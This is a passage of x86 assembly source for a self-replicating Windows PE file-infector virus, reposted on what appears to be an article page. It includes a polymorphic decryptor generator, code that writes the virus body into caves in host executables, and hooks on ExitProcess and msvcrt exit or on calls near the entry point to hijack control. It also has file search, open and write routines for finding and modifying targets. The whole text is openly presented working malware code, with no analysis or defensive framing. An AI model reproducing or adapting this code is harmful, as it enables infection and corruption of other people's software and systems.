mov dword ptr [ebp+memhandle2],eax ; save it

mov dword ptr [ebp+PolyTable],eax
add eax,40
mov dword ptr [ebp+PolyTablePoint],eax ; set everything

lea ebx,[eax+256]
mov dword ptr [ebp+PolyOffset],ebx

push esi
push edi
mov edi,ebx

lea esi,[ebp+start]
mov ecx,((((fin-start)/4)+1)*4)

repz movsb ; copy virus to memory

pop edi
pop esi

lea ebx,[eax+256+((((Fin-Start)/4)+1)*4)]
mov dword ptr [ebp+PolyPointer],ebx

mov edx,dword ptr [ebp+PEBase]
mov ecx,dword ptr [edx+8] ; get time/date stamp
push ecx

and ecx,01111b ; as variable value
add ecx,5
pop eax
push ecx

ror eax,8
push eax
and eax,111b
call getvalidregister ; get register
mov byte ptr [ebp+ActionRegister],al

pop eax
ror eax,4
and eax,111b
call getvalidregister ; get second register
mov byte ptr [ebp+LoopValue],al

pop ecx

latinlingo:

call AddInstruction0 ; make crypt instructions

loop latinlingo

push esi
push edi

mov edi,dword ptr [ebp+PolyTablePoint]
mov esi,dword ptr [ebp+PolyTable]
add esi,40

sub edi,8

thendontfool: ; reversive functions

mov eax,dword ptr [esi]
mov ebx,dword ptr [esi+4]

mov ecx,dword ptr [edi] ; equal size/offset
mov edx,dword ptr [edi+4]

mov dword ptr [esi],ecx
mov dword ptr [esi+4],edx

mov dword ptr [edi],eax
mov dword ptr [edi+4],ebx

sub edi,8
add esi,8

cmp esi,edi
jb thendontfool ; invert the decryptor

pop edi
pop esi

mov edx,dword ptr [ebp+PolyTable]
mov ecx,dword ptr [ebp+PolyPointer]
mov ebx,ecx

mov dword ptr [ecx],60h ; add pushad to decryp
inc ecx
call ActualisePointer

mov byte ptr [ecx],0B8h ; add mov ...,polyoff
mov al,byte ptr [ebp+LoopValue] ; to decrypt
add byte ptr [ecx],al

mov eax,dword ptr [ebp+DropAddress]
add eax,dword ptr [ebp+ImageBase]

mov dword ptr [ecx+1],eax
add ecx,5

call ActualisePointer

mov ax,008Bh ; add mov ..,[...]
mov ah,byte ptr [ebp+ActionRegister] ; to decrypt
shl ah,3
add ah,byte ptr [ebp+LoopValue]
mov word ptr [ecx],ax
add ecx,2

call ActualisePointer

push ecx

mov ecx,dword ptr [ebp+PolyTable] ; drop
add ecx,40 ; decrypt math
; functions
ambiancee:
mov eax,dword ptr [ecx]
mov ebx,dword ptr [ecx+4]

cmp eax,0
je thenfinish88

mov dword ptr [edx],eax ; now do the loop
mov dword ptr [edx+4],ebx

add ecx,8
add edx,8
jmp ambiancee ; ambiancee...

thenfinish88:

pop ecx

; - - - - -

mov ax,0089h ; mov [...],...
mov ah,byte ptr [ebp+ActionRegister]
shl ah,3
add ah,byte ptr [ebp+LoopValue] ; are you really
mov word ptr [ecx],ax ; reading that ?
add ecx,2

call ActualisePointer

mov ax,0C083h ; add ...,...
add ah,byte ptr [ebp+LoopValue]
mov word ptr [ecx],ax
add ecx,2
mov byte ptr [ecx],04
inc ecx

call ActualisePointer ; add cmp,...
;
mov ax,0f881h ;
add ah,byte ptr [ebp+LoopValue]
mov word ptr [ecx],ax

mov eax,dword ptr [ebp+DropAddress]
add eax,dword ptr [ebp+ImageBase]
add eax,((((fin-start)/4)+1)*4)
mov dword ptr [ecx+2],eax
add ecx,6

call ActualisePointer

mov word ptr [ecx],0850Fh ; add jnz ...
add ecx,6 ; with relocs

call ActualisePointer

mov byte ptr [ecx],61h

mov byte ptr [ecx+1],068h
mov eax,dword ptr [ebp+DropAddress] ; now drop
add eax,dword ptr [ebp+ImageBase] ; return to virus
mov dword ptr [ecx+2],eax

mov byte ptr [ecx+6],0C3h
add ecx,7

call ActualisePointer

push esi
push edi

xor ebx,ebx

mov edx,dword ptr [ebp+PolyTable] ; now drop the
mov edi,dword ptr [ebp+DropOffset] ; virus into host body
add edi,esi

mov esi,dword ptr [ebp+PolyOffset]
mov ecx,((((fin-start)/4)+1)*4)
repz movsb

push esi
mov esi,dword ptr [ebp+MapHandle2]
mov eax,edi
call Offset2Address
mov dword ptr [ebp+NEWEntryPoint],eax
mov dword ptr [ebp+FirstEntryPoint],eax
pop esi ; set poly entrypoint

mov dword ptr [ebp+lastreloc],0
call droptocaves ; 1st drop to cave

thegothere:

cmp bl,byte ptr [ebp+WantedReloc] ; now we can drop
jne thennoreloc
mov dword ptr [ebp+Reloc1],edi

thennoreloc:

mov esi,dword ptr [edx] ; the poly after
cmp esi,0
je thenitsfinish

cmp word ptr [esi],850Fh ; look for jnz
je ApplyReloc ; if so reloc it

relocdoitnow:

mov ecx,dword ptr [edx+04]
repz movsb
add edx,8 ; drop it after virus
inc ebx
jmp thegothere

thenitsfinish:

pop edi
pop esi

ret

droptocaves:

cmp byte ptr [ebp+cavedanger],1 ; look if .code
je thennocave ; writable

cmp byte ptr [ebp+cavenumber],0 ; look if there no cave
je thennocave ; if ONE then
; it's okay, coz we
mov dword ptr [ebp+originalreloc],edi ; can hide our
push edi ; poly entrypoint
xor ebx,ebx

detectcave0:

mov esi,dword ptr [edx]
cmp esi,0
je thenfinish

mov ecx,dword ptr [edx+4] ; get cave and check

call detectcave ; size
jc thenfinish

mov eax,dword ptr [ebp+FirstEntryPoint]
cmp dword ptr [ebp+NEWEntryPoint],eax ; if 1st cave then set
jne thendontchangeentrypoint ; entrypoint

push esi

mov eax,edi
mov esi,dword ptr [ebp+MapHandle2] ; get cave and fix
call Offset2Address ; to memory offset
mov dword ptr [ebp+NEWEntryPoint],eax

pop esi

thendontchangeentrypoint:

cmp bl,byte ptr [ebp+WantedReloc]
jne thennorelocbis
mov dword ptr [ebp+Reloc1],edi

thennorelocbis:

cmp word ptr [esi],850Fh ; check for jnz
je ApplyRelocBis ; then apply large
; relocs over caves
relocdoitnowbis:

repz movsb

mov byte ptr [edi],0E9h ; apply calls...

add edx,8
inc ebx
jmp detectcave0

thenfinish:

pop edi

thennocave:

ret

detectcave:

push edx ecx ebx

mov ebx,dword ptr [ebp+caveoffset] ; get caves
xor eax,eax
mov al,byte ptr [ebp+cavenumber]

push edx
push ecx
push eax
mov ecx,12
mul ecx
pop ecx
sub ebx,eax ; calculations

sub ebx,12
pop edx
add edx,5

thengetnextcave:

add ebx,12
mov eax,dword ptr [ebx]

cmp eax,edx
jae thenwefoundone

loop thengetnextcave ;

pop edx
cmp dword ptr [ebp+lastreloc],0
je thenitsfinishfordebon ; if reloc off then finish

push ebx

mov eax,dword ptr [ebp+DropAddress]
add eax,((((fin-start)/4)+1)*4)
sub eax,dword ptr [ebp+lastreloc] ; set last reloc for further
sub eax,4 ; jnz

mov ebx,dword ptr [ebp+lastrelocOffset]
mov dword ptr [ebx],eax

pop ebx

thenitsfinishfordebon:

inc eax
inc eax

sub eax,-1

pop ebx ecx edx

ret ; return to carry to main drop cave functions
; then finish cave droping
originalreloc: dd 0

thenwefoundone:

pop edx

mov dword ptr [ebx],0 ; if found one

cmp dword ptr [ebp+lastreloc],0 ; if 1st instruction?
je thendontneedfixup

mov eax,dword ptr [ebx+4+4]
sub eax,dword ptr [ebp+lastreloc] ; set jump to here
sub eax,4 ; from last instruction

push ebx

mov ebx,dword ptr [ebp+lastrelocOffset]
mov dword ptr [ebx],eax

pop ebx

thendontneedfixup: ; no fixup need

mov ecx,dword ptr [edx+4]
add ecx,dword ptr [ebx+4]
inc ecx
mov dword ptr [ebp+lastrelocOffset],ecx ; save this offset
sub ecx,dword ptr [ebx+4]
add ecx,dword ptr [ebx+8] ; for next fixup
mov dword ptr [ebp+lastreloc],ecx

mov edi,dword ptr [ebx+4]
xor ebx,ebx
pop ebx ecx edx

ret

lastreloc: dd 0
lastrelocOffset: dd 0

NEWEntryPoint: dd 0

Reloc1: dd 0
WantedReloc: db 2

ApplyReloc:
call ApplyReloc0 ; this for jnz
jmp relocdoitnow

ApplyRelocBis:
call ApplyReloc0 ; this for jnz in cave
jmp relocdoitnowbis

ApplyReloc0:

push eax edi
push esi
mov esi,dword ptr [ebp+MapHandle2] ; recalculate offsets
;
mov eax,dword ptr [ebp+Reloc1]
call Offset2Address
push eax ; eax is save

mov eax,edi
call Offset2Address
mov edi,eax

pop eax
sub eax,edi
sub eax,6 ; build delta for jumps
pop esi
mov dword ptr [esi+2],eax ; set it where we need it

pop edi eax
ret

ActualisePointer:

push ebx
push ecx

mov ebx,dword ptr [ebp+PolyPointer] ;set pointer of
mov dword ptr [edx],ebx ;of current instruction
sub ecx,ebx
add dword ptr [ebp+PolyPointer],ecx ; that can be different

mov dword ptr [edx+4],ecx ; of instruction order
add edx,8

pop ecx
pop ebx

ret

AddInstruction0:

push edx
push ecx

mov edx,dword ptr [ebp+PEBase]
mov edx,dword ptr [edx+8]

mov ebx,-1
firstloop:

mov bl,dh ; get randoms value
rol ebx,4

xor edx,'RATS'
sub edx,'OREZ' ; using pseudo table
cmp edx,00FFFFFFh ; ;] vecna
ja thendontnoise
ror edx,16
add edx,24051981
thendontnoise:
dec edx
xor ebx,edx
loop firstloop

mov edx,ebx ; edx = random value
not edx ; for sub xor ror add
mov dword ptr [ebp+UnknownVal],edx

and edx,111b ; seting random from
mov eax,edx ; 1/8
mov ecx,4
mul ecx
add eax,dword ptr [ebp+TableOffset]
add eax,ebp

push esi
push edi

mov eax,dword ptr [eax]
add eax,ebp

mov ebx,dword ptr [ebp+PolyTablePoint] ; get what instruction
mov esi,dword ptr [ebp+PolyPointer]

mov dword ptr [ebx],esi ; to do
push esi
push ebx

call eax ; call it from the
; tale
pop ebx
mov eax,esi
pop ecx
sub eax,ecx

mov dword ptr [ebx+4],eax
add ebx,8
mov dword ptr [ebp+PolyTablePoint],ebx ; psuedo actualisation
mov dword ptr [ebp+PolyPointer],esi ; of pointers

pop edi
pop esi

pop ecx
pop edx

ret

getvalidregister:

cmp al,111b
jna thentestnext ; test if > edi
mov al,0

thentestnext:
cmp al,100b
jne thentestnext2 ; test if esp
inc al
jmp getvalidregister

thentestnext2:
cmp al,byte ptr [ebp+ActionRegister]
jne thentestnext3
inc al
jmp getvalidregister ; test if action register

thentestnext3:
cmp al,byte ptr [ebp+LoopValue] ; test if loop register
jne thentestnext4
inc al
jmp getvalidregister

thentestnext4:
cmp byte ptr [ebp+ActionRegister],-1
je thenfinishtest

cmp al,101b ; cmp if loop register = ebp
jne thenfinishtest ; don't do so coz crashing

inc al
jmp getvalidregister

thenfinishtest:
ret

TableOffset:

dd Offset Table0

Table0: dd Offset AddInstruction
dd Offset SubInstruction
dd Offset XorInstruction
dd Offset INCInstruction
dd Offset DECInstruction
dd Offset NEGInstruction
dd Offset NOTInstruction
dd Offset ROLInstruction

ROLInstruction:

mov ax,0C1C8h
add al,byte ptr [ebp+ActionRegister]
mov edx,dword ptr [ebp+UnknownVal]
xor edx,'FLOR' ; make ROL
xchg al,ah
mov word ptr [esi],ax
and dh,00111111b
inc dh
mov byte ptr [esi+2],dh
add esi,3

lea eax,[ebp+Roritloop]
call applycript

ret

Roritloop: push ecx
mov cl,dh
rol dword ptr [edi],cl
pop ecx
ret

NOTInstruction:

mov ax,0F7D0h
call dothat79
lea eax,[ebp+NOTitloop] ; make not instruction
call applycript
ret

NOTitloop: not dword ptr [edi]
ret

NEGInstruction:

mov ax,0F7D8h
call dothat79
lea eax,[ebp+NEGitloop] ; add negs
call applycript
ret

dothat79:
add al,byte ptr [ebp+ActionRegister]
xchg al,ah
mov word ptr [esi],ax
inc esi ;add not/neg
inc esi

ret

NEGitloop: neg dword ptr [edi]
ret

DECInstruction: ; apply dec/inc

lea ebx,dword ptr [ebp+Decitloop]
mov al,48h
call dothat78

ret

Decitloop: inc dword ptr [edi]
ret

INCInstruction:

mov al,40h
lea ebx,[ebp+Incitloop]

dothat78: ; common for dec/inc
add al,byte ptr [ebp+ActionRegister]
mov byte ptr [esi],al
inc esi

mov eax,ebx
call applycript

ret

Incitloop: dec dword ptr [edi]
ret

XorInstruction: ; common for xor/add/sub

mov ax,081F0h
lea ebx,[ebp+Xoritloop]
jmp dothat77

Xoritloop: xor dword ptr [edi],edx ; reverse of xor
ret

SubInstruction:

mov ax,081E8h
lea ebx,[ebp+Subitloop]
jmp dothat77

Subitloop: add dword ptr [edi],edx ; reverse of sub
ret

AddInstruction:

mov ax,081C0h
lea ebx,[ebp+Additloop]

dothat77:
add al,byte ptr [ebp+ActionRegister]

mov edx,dword ptr [ebp+UnknownVal]
xor edx,'AXLB' ; a kiss to Axelle Bailey
xchg al,ah
mov word ptr [esi],ax
mov dword ptr [esi+2],edx

add esi,6

mov eax,ebx
call applycript ; rverse of add
ret

Additloop:

sub dword ptr [edi],edx

ret

applycript:

push ecx ; apply eax to all the virus
push edi
push esi

mov edi,dword ptr [ebp+PolyOffset]
mov ecx,((((fin-start)/4)+1)*4)

thentooti:


call eax
sub ecx,4
add edi,4

cmp ecx,0
jne thentooti

pop esi
pop edi
pop ecx

ret

; variables

FirstEntryPoint: dd 0

Registers:

ActionRegister: db 0
LoopValue: db 0

UnknownVal: dd 0

PolyOffset: dd 0
PolyPointer: dd 0

PolyTable: dd 0
PolyTablePoint: dd 0

; 1st look for ExitProcess -> The classic way to quit a program
; 2 look for MSCVRT -> The win98 way to quit a program
; 3 look for obscure entrypoint

thahook:

mov dword ptr [ebp+comethatname],'NREK'
mov dword ptr [ebp+comeApi1],'tixE'
mov dword ptr [ebp+comeApi2],'corP'
mov dword ptr [ebp+comeReturnWay],offset ExitProcRet
mov dword ptr [ebp+comeReturnAPI],offset ExitProcRetData

call hookapis ; Hook apis
jnc thenwehadit

mov dword ptr [ebp+comethatname],'CVSM'
mov dword ptr [ebp+comeApi1],'tixe'
mov dword ptr [ebp+comeApi2],0
mov dword ptr [ebp+comeReturnWay],offset ExitProcRet
mov dword ptr [ebp+comeReturnAPI],offset ExitProcRetData

call hookapis ; Hook apis
jnc thenwehadit

obscureentry: ; if no api hooked then:

mov edx,dword ptr [ebp+PEBase]
mov eax,dword ptr [edx+40]
call Address2Offset
mov edx,eax

mov ecx,500 ; hook call near entrypoint

findthoseit:
cmp byte ptr [edx],0E8h ; call opcode
je hookentry

cmp byte ptr [edx],0E9h ; jump opcade
je hookentry

looknext:
inc edx
loop findthoseit ; look for it

jmp thenofound

thenwehadit:
xor eax,eax
ret

hookentry:

cmp byte ptr [edx+4],0
jne looknext

mov al,byte ptr [edx-1] ;check for have sub functions , appears
and al,11000000b ;sometime (ie:tasm\bin\jitime.exe)
cmp al,10000000b
je looknext

mov eax,edx
call Offset2Address ; convert where we found it

add eax,dword ptr [edx+01]
add eax,5

add eax,dword ptr [ebp+ImageBase] ; then save it over there
mov dword ptr [ebp+ReturnData],eax
mov dword ptr [ebp+ReturnWay],offset retione

inc edx
mov dword ptr [ebp+Fixupentry],edx ; set where the entrypoint
; will have to get fixed up
xor eax,eax
ret

ExitProcRet: ; return procedure

mov eax,dword ptr [ebp+ReturnData]
mov eax,dword ptr [eax]
mov dword ptr [ebp+ReturnData],eax ; refix all

retione:

popad ; refix regs

db 68h

ExitProcRetData:

ReturnData:
dd Offset payload0
ret ; fake jump...

hookapis:

mov edx,dword ptr [ebp+PEBase]
mov eax,dword ptr [edx+128] ; look for import address
call Address2Offset ; get offset

mov ecx,eax
sub ecx,20

thenaddnext:

add ecx,20
cmp dword ptr [ecx],0
je thenfinishscan ; look for the correct name

mov eax,dword ptr [ecx+12]
call Address2Offset
push ebx
mov ebx,dword ptr [ebp+comethatname]
cmp dword ptr [eax],ebx ; does we have it ?
pop ebx
jne thenaddnext

mov eax,dword ptr [ecx] ;then get the rva of the import
call Address2Offset ; name lookup
mov ebx,eax
sub ebx,4
xor edx,edx
dec edx

datact:
inc edx
add ebx,4
mov eax,dword ptr [ebx] ;check if we have last one
cmp eax,0
je thenfinishscan

call Address2Offset ; get it

cmp eax,esi
jb thenfinishscan ; for fixing an unknown bug...

push ebx
mov ebx,dword ptr [ebp+comeApi1] ; look if name is correct
cmp ebx,0
je passbythat
cmp dword ptr [eax+2],ebx
pop ebx
jne datact

push ebx
mov ebx,dword ptr [ebp+comeApi2] ; look if name after is correct
cmp ebx,0
jne passbythat
cmp byte ptr [eax+6],0 ; if the name = 0 then
jmp passbythat0 ; don't scan ofcourse
passbythat:
cmp dword ptr [eax+6],ebx
passbythat0:
pop ebx
jne datact

thatoskay:

mov eax,edx
mov edx,04
mul edx

add eax,dword ptr [ecx+16] ; now we get the api loc

detectandhookexitpoint:

mov byte ptr [ebp+numberoffound],0 ; just for internal purpose
; but not used anyway
mov edx,dword ptr [ebp+PEBase]
add eax,dword ptr [edx+52]

mov edx,dword ptr [ebp+SectionOffset] ; get the 1st section
mov ecx,dword ptr [edx+16]
mov edx,dword ptr [edx+20]
add edx,esi

findthem:
cmp word ptr [edx],015FFh ; look for call dword [x]
je testcalltoit
cmp word ptr [edx],025ffh ; look for jump dword [x]
je testfindjmptoit

findthemreturn:

inc edx
loop findthem ; if nothing

cmp byte ptr [ebp+numberoffound],0 ; if zero found then don't
je thenofound ; return with carry
findthemfinish:
xor eax,eax
ret

thenfinishscan:
thenofound:
inc eax
inc eax
add eax,-1
ret

numberoffound: db 0

testcalltoit: ;

cmp dword ptr [edx+2],eax ; save where it call
jne findthemreturn

push edx
mov edx,dword ptr [ebp+comeReturnAPI] ; save API location
add edx,ebp ; for return to host
mov dword ptr [edx],eax
pop edx

mov eax,dword ptr [ebp+comeReturnWay] ; save [x] location to return
mov dword ptr [ebp+ReturnWay],eax ; over there

thendontsaveAPIOffset:

push edi
push edx
inc edx
mov edi,edx
mov dword ptr [ebp+Fixupentry],edi ; fixing virus entrypoint
mov byte ptr [edi-1],0E9h
pop edx
pop edi

inc byte ptr [ebp+numberoffound]

jmp findthemfinish ; we finished okay carry...

testfindjmptoit:

cmp dword ptr [edx+2],eax
jne findthemreturn

push edx
mov edx,dword ptr [ebp+comeReturnAPI] ; we will look for call
add edx,ebp
mov dword ptr [edx],eax ; to that jump
mov eax,dword ptr [ebp+comeReturnWay]
mov dword ptr [ebp+ReturnWay],eax
pop edx

mov eax,edx
call Offset2Address
mov dword ptr [ebp+APItarget],eax

mov edx,dword ptr [ebp+SectionOffset]
mov ecx,dword ptr [edx+16]
mov edx,dword ptr [edx+20] ; redo the scannning
add edx,esi

thenloopvone:
cmp byte ptr [edx],0E8h
jne thenloopskill

mov eax,edx
call Offset2Address
add eax,dword ptr [edx+1]
add eax,5 ;

cmp eax,dword ptr [ebp+APItarget] ; if APItagert = where it point
je patchit

thenloopskill: ; then we found the good call
inc edx
loop thenloopvone
jmp thenfinishscan ; finish scanning...

patchit:

push edi
push edx
inc edx
mov edi,edx
mov dword ptr [ebp+Fixupentry],edi ; fix this call as the
mov byte ptr [edi-1],0E9h ; virusentrypoint
pop edx
pop edi

inc byte ptr [ebp+numberoffound]

jmp findthemfinish ; return with carry

APItarget: dd 0
Fixupentry: dd 0

ReturnWay: dd Offset retione
comethatname: dd 0
comeApi1: dd 0
comeApi2: dd 0
comeReturnWay: dd 0
comeReturnAPI: db 0

MapHandle1: dd 0
MapHandle2: dd 0

FindFirstFileF: ; prebuilded FindFirst

lea eax,[ebp+File_Data]
push eax
push edx

call dword ptr [ebp+FindFirstFile]
mov dword ptr [ebp+Handle],eax
ret

FindNextFileF: ; Prebuilded FindNExt

lea eax,[ebp+File_Data]
push eax
push dword ptr [ebp+Handle]

Call dword ptr [ebp+FindNextFile]

ret

Open_file: ; Prebuilded Openfile
push edx

lea eax,[ebp+(offset File_Data+02ch)]
call Open_File_F
pop edx
ret

Open_File_F: ; and open file F
push large 0
push large 080h
push large 3
push large 0
push large 1
push 80000000h or 40000000h
push eax

Call dword ptr [ebp+CreateFile]

mov dword ptr [ebp+CurrentHandle],eax
inc eax
ret

Close_file: ; close file
push dword ptr [ebp+CurrentHandle]
call dword ptr [ebp+Close]
ret

Write_file: ; write file
mov eax,offset Write
jmp Action_file

Read_file:

mov eax,offset Read ; read file

Action_file:

push 0
lea ebx,[ebp+Iobytes]
push ebx
push ecx
push edx
push dword ptr [ebp+CurrentHandle]
Call dword ptr [ebp+eax] ; look apis references
ret

Seek_file: ; seek over it
push large 0
push large 0
push edx
push dword ptr [ebp+CurrentHandle]
Call dword ptr [ebp+SeekFile]
ret

startlist: ; needed apis
; quite a lot eh :)
FindFirstFile:
dd 0
FindNextFile:
dd 0
CreateFile:
dd 0
Close:
dd 0
Write:
dd 0
Read:
dd 0
SeekFile:
dd 0
SetFileTime:
dd 0
GetFileSize:
dd 0
CreateFileMap:
dd 0
ViewMap:
dd 0
UnMap:
dd 0
LocalAlloc:
dd 0
GlobalFree:
dd 0
LoadLibraryA:
dd 0
FindClose:
dd 0
FreeLibrary:
dd 0
GetSystemTime:
dd 0
CreateThread:
dd 0
GetWindowsDirectoryA:
dd 0
GetCurrentDirectoryA:
dd 0
SetCurrentDirectoryA:
dd 0
GetModuleHandle:
dd 0
ExitProc:
dd 0
advapilist:
RegOpenKeyA:
dd 0
RegQueryValueExA:
dd 0
RegCloseKey:
dd 0
userapilist:
MessageBoxA: dd 0

pseudofin:

Handle: dd 0
CurrentHandle: dd 0
Iobytes: dd 0

File_Data: db 2ch+13+5 dup (?) ; just for prebuilded

;ReadyForHost: db 0F8h dup (?)
;TableHost: db 4096/2 dup (?)

Fin:
fin:
ends
end HOST



← previous
next →
loading
sending ...
New to Neperos ? Sign Up for free
download Neperos App from Google Play
install Neperos as PWA

Let's discover also

Recent Articles

Recent Comments

Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT